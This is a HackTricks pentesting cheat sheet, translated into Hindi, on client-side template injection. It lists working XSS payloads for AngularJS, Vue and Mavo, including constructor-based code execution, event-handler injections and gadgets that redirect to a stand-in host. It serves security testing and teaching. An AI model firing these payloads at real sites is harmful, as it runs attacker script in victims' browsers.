hacktricks/pentesting-web/client-side-template-injection-csti.md

9.3 KiB

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

सारांश

यह Server Side Template Injection की तरह है लेकिन क्लाइंट में। SSTI आपको दूरस्थ सर्वर पर कोड निष्पादित करने की अनुमति दे सकता है, CSTI आपको पीड़ित में मनमाना JavaScript कोड निष्पादित करने की अनुमति दे सकता है।

इस कमजोरी के लिए परीक्षण करने का तरीका SSTI के मामले में बहुत समान है, इंटरप्रेटर डबल कीज़ के बीच कुछ निष्पादित करने की उम्मीद करेगा और इसे निष्पादित करेगा। उदाहरण के लिए कुछ इस तरह का उपयोग करना: {{ 7-7 }} यदि सर्वर कमजोर है तो आप 0 देखेंगे और यदि नहीं तो आप मूल: {{ 7-7 }} देखेंगे।

AngularJS

AngularJS एक लोकप्रिय JavaScript लाइब्रेरी है, जो ng-app विशेषता वाले HTML नोड्स की सामग्री को स्कैन करती है (जिसे AngularJS डायरेक्टिव भी कहा जाता है)। जब HTML कोड में एक डायरेक्टिव जोड़ा जाता है, आप डबल कर्ली ब्रेसेज़ के भीतर JavaScript एक्सप्रेशन्स को निष्पादित कर सकते हैं
उदाहरण के लिए, यदि आपका इनपुट HTML के बॉडी के अंदर प्रतिबिंबित हो रहा है और बॉडी को ng-app के साथ परिभाषित किया गया है: <body ng-app>

आप बॉडी में जोड़कर कर्ली ब्रेसेज़ का उपयोग करके मनमाना JavaScript कोड निष्पादित कर सकते हैं:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

आप AngularJS में इस कमजोरी का एक बहुत ही साधारण ऑनलाइन उदाहरण यहाँ पा सकते हैं: http://jsfiddle.net/2zs2yv7o/

{% hint style="danger" %} Angular 1.6 ने सैंडबॉक्स को हटा दिया है इसलिए इस संस्करण से {{constructor.constructor('alert(1)')()}} या <input ng-focus=$event.view.alert('XSS')> जैसे पेलोड काम करना चाहिए। {% endhint %}

VueJS

आप vulnerable vue.js कार्यान्वयन यहाँ पा सकते हैं: https://vue-client-side-template-injection-example.azu.now.sh/
काम करने वाला पेलोड: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

और इस कमजोर उदाहरण का स्रोत कोड यहाँ है: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

व्यू में CSTI पर एक बहुत अच्छा लेख https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets पर पाया जा सकता है।

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

अधिक VUE payloads की जाँच करें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

अधिक payloads के लिए https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

AWS hacking सीखें शुरुआत से लेकर एक्सपर्ट तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

  • यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो SUBSCRIPTION PLANS देखें!
  • आधिकारिक PEASS & HackTricks swag प्राप्त करें
  • The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
  • 💬 Discord group में शामिल हों या telegram group में या Twitter पर 🐦 @carlospolopm को फॉलो करें.
  • HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी hacking tricks साझा करें.